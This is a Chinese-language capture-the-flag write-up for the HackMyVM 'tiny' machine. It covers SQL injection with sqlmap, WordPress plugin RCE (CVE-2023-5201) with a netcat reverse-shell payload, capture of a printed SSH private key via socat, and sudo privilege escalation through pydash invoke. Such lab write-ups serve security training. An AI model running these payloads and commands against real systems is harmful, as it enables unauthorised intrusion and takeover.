打靶手记之hackmyvmtiny

admin 2024年2月4日12:20:17评论14 views字数 6067阅读20分13秒阅读模式

继续这个系列

信息收集

扫网段和端口

打靶手记之hackmyvmtiny

开放了 22 80 8888

8888端口运行的代理服务,一会留意一下。

访问web,页面如下,一个WordPress的页面

打靶手记之hackmyvmtiny

先来扫目录

dirsearch -w /usr/share/wordlists/dirb/big.txt -u 192.168.56.104

打靶手记之hackmyvmtiny

其中几个关注的点

http://192.168.56.104/wp-includes/    没有可用信息

打靶手记之hackmyvmtiny

第二个页面

访问http://192.168.56.104/wp-admin/会跳转到如下地址

打靶手记之hackmyvmtiny

看上图的url,意思是用户登录成功后将他们重定向到指定的http://192.168.56.104/wp-admin/,这个wp-admin应该是管理员后台,reauth=1意味着要求我们重新验证身份

也就是说,给了我们一个域名tiny.hmv和一个管理员后台地址,但是访问域名是无法解析的

当然,这是因为该靶机用了基于名称的虚拟主机技术,它允许一个物理服务器托管多个网站域名。每个网站都有自t己的域名和可能的内容,简单理解就是多个网站共享一个IP地址。

所以这个域名在我们本地的DNS服务器中没有记录,我们需要手动把这个域名添加到hosts里

打靶手记之hackmyvmtiny

然后就可以正常显示页面了

打靶手记之hackmyvmtiny

还在robots.txt发现了一个子域名

打靶手记之hackmyvmtiny

当然这个子域名也是需要添加到hosts里才能访问

打靶手记之hackmyvmtiny

经典登录框,有什么思路呢?

之前文章里讲过xss钓管理员,但是这里后台并没有管理员,也没有弱口令,那就看看有没有sql注入

打靶手记之hackmyvmtiny

有戏,上sqlmap

打靶手记之hackmyvmtiny

下面经典爆库,爆表

打靶手记之hackmyvmtiny

就两个表,information_schema也有wish的信息,看哪一个都无所谓了,但毕竟这是时间盲注,所以节省时间看wish_db的表好了

打靶手记之hackmyvmtiny

看admin表的列

打靶手记之hackmyvmtiny

看数据

打靶手记之hackmyvmtiny

账号umeko,密码解密为f*ckt!(好脏的密码,打个码)

但是wish这个后台登录不进去,还记得之前那个admin的后台吗,用这个账号密码去试一下

打靶手记之hackmyvmtiny

进来了

getshell

先看nday,比如添加wp-file-manager插件getshell,可是没有权限,同样也看不到已经安装了哪些插件

打靶手记之hackmyvmtiny

那就看看其他插件有没有nday了,所以第一步需要fuzz出已经安装了哪些插件

插件名字典地址

https://github.com/RamadhanAmizudin/Wordpress-scanner/blob/master/base/data/list-plugins.txt

打靶手记之hackmyvmtiny

对于akismet插件,由于没有权限编辑外观,无法getshell,只能看另外一个插件(thesis-openhook)了,找到一个远程命令执行的洞--CVE-2023-5201,产生漏洞的代码如下,原理就是eval() 函数可以执行 $content 变量中的PHP代码,造成RCE,感兴趣的读者可以去读一下。

https://plugins.trac.wordpress.org/browser/thesis-openhook/tags/4.3.1/inc/shortcodes.php?rev=2972840#L24

检验漏洞是否存在也很简单,只需要编辑welcome world那篇文章,加上相应的php代码就行了。如下

打靶手记之hackmyvmtiny

访问,解析了表明存在

打靶手记之hackmyvmtiny

来getshell

kali监听7777端口,然后继续编辑刚才那篇文章,加入以下内容

[php]<?php system('nc -e /bin/bash 192.168.56.101 7777'); ?>[/php]

打靶手记之hackmyvmtiny

弹回来了,但是权限低

打靶手记之hackmyvmtiny

提权

这个shell好不舒服,提升一下交互性

python3 -c 'import pty;pty.spawn("/bin/bash")'

刚才信息收集时遇到的那个8888端口,对应一个代理服务,说不定有用,那就看一下网络情况和进程

打靶手记之hackmyvmtiny

打靶手记之hackmyvmtiny

开了一个Tinyproxy代理服务。看一下配置信息

cat /etc/tinyproxy/tinyproxy.conf | grep -v '#' | grep . #排除了所有的注释行和空行

打靶手记之hackmyvmtiny

从配置信息里可以看出所有流量会被转发到本地的1111端口。

监听一下1111端口,看一下收到的流量

打靶手记之hackmyvmtiny

id_rsa是ssh的私钥,说明这里是通过http来访问id_rsa,也就是说从8000端口获取私钥,那么我们现在可以监听1111端口,把1111端口收到的流量转发到8000端口。我们就可以看到如下内容(即id_rsa内容)

socat -v tcp-listen:1111 tcp:localhost:8000

打靶手记之hackmyvmtiny

复制下来写入id_rsa,并给600权限(文件所有者读写权限,其他用户无权限)

-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----

打靶手记之hackmyvmtiny

连接ssh

打靶手记之hackmyvmtiny

查看权限

打靶手记之hackmyvmtiny

上面有一个car.py,看一下内容

打靶手记之hackmyvmtiny

vic用户无需输入密码就能以任何用户权限运行car.py,也就是说这里可以用root权限运行该脚本,那就看一下这个脚本有没有洞

car.py里用到pydash库的objects.invoke()方法,这里存在命令执行

利用前提:

    当objects.invoke方法的第一个参数不是内置对象如list或dict(这里是一个car类),且第二个和第三个参数输入可控。

刚刚好,都满足,那就试一下如下命令,解释一下这条命令,sudo是以root权限运行(不用输入密码),第一个参数car是作为invoke的入口点,第二个参数是一个自定义的路径,意为去调用os.system方法去执行后面的命令(bash -p),bash -p是启动一个root权限的shell

sudo /usr/bin/python3 /opt/car.py __init__.__globals__.random._os.system "bash -p"

打靶手记之hackmyvmtiny

成功提权,flag在/root下的root.txt里

往期文章

权限维持和排查

权限维持之加载动态链接库隐藏进程 tcp连接

继续谈维权手法之监控记录ssh su sudo账号密码 (qq.com)

别当初级猴子了,五分钟教你linux维权和排查思路,助你圆梦4k! (qq.com)

你不知道的win应急思路!从维权到排查,面试必问!不来看看?

只会netstat?最全应急排查网络连接思路,不学一下吗?

rootkit原理

初探rookit(另一种角度看维权) (qq.com)

从linux内核初窥LKM(抛砖引玉之rootkit隐藏进程 or tcp连接原理) (qq.com)

漏洞复现和利用手法

从0认识+识别+掌握nacos全漏洞(攻防常见洞)带指纹表和利用工具

从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具

从0认识+识别+掌握spring全漏洞(1.8w字超详细看完拿捏spring)文末带工具 (qq.com)

浅谈宝塔渗透手法,从常见漏洞 聊到 宝塔维权 再到 bypass disable_functions原理

从Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

遥遥领先!java内存马分析-[Godzilla-FilterShell] (qq.com)

浅分析 Apache Confluence [CVE-2023-22515]

再谈宝塔后门账号维权

浅谈jenkins后渗透

一些工具和原理

浅析HackBrowserData原理以及免杀思路(红队工具之获取目标机器浏览器记录 密码 cookie)

浅析 后渗透之提取微x 聊天记录原理and劫持tg 解密聊天记录原理

魔改蚁剑之零基础编写解码器

一些渗透手法

浅谈水坑攻击之结合xss平台钓鱼获取浏览器记录和微信数据

试听课--水坑攻击之xss平台钓鱼上线以及后渗透流程 (qq.com)

试听课之小白快速理解xss钓鱼原理和手法 以及后渗透流程 (qq.com)

从绕过disable_functions到关于so的一些想法

windows获取hash常见手法 (qq.com)

CDN+Nginx反向代理来隐藏c2地址

CDN和域名隐藏C2地址 (qq.com)

云函数实现隐藏c2地址 (qq.com)

一些杂谈

考研考公失败,无实习无经验,找不到工作?还有其他赛道吗?(qq.com)

晚睡+过度劳累=双杀阳气!五年赛博保安养生法教你如何快速补救!(食补篇) (qq.com)

2023秋招如此惨淡,还有必要继续学安全吗?教你如何破局0offer (qq.com)

赛博保安hw讨薪总结(针对学生党) (qq.com)

再加一个打靶系列

如何快速提升渗透能力?带你打靶场逐个击破hackmyvm之001gift (qq.com)

打靶手记之hackmyvm--UnbakedPie (qq.com)

打靶手机之hackmyvm--connection (qq.com)

原文始发于微信公众号(麋鹿安全):打靶手记之hackmyvm--tiny

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月4日12:20:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   打靶手记之hackmyvmtinyhttp://cn-sec.com/archives/2467141.html

发表评论

匿名网友 填写信息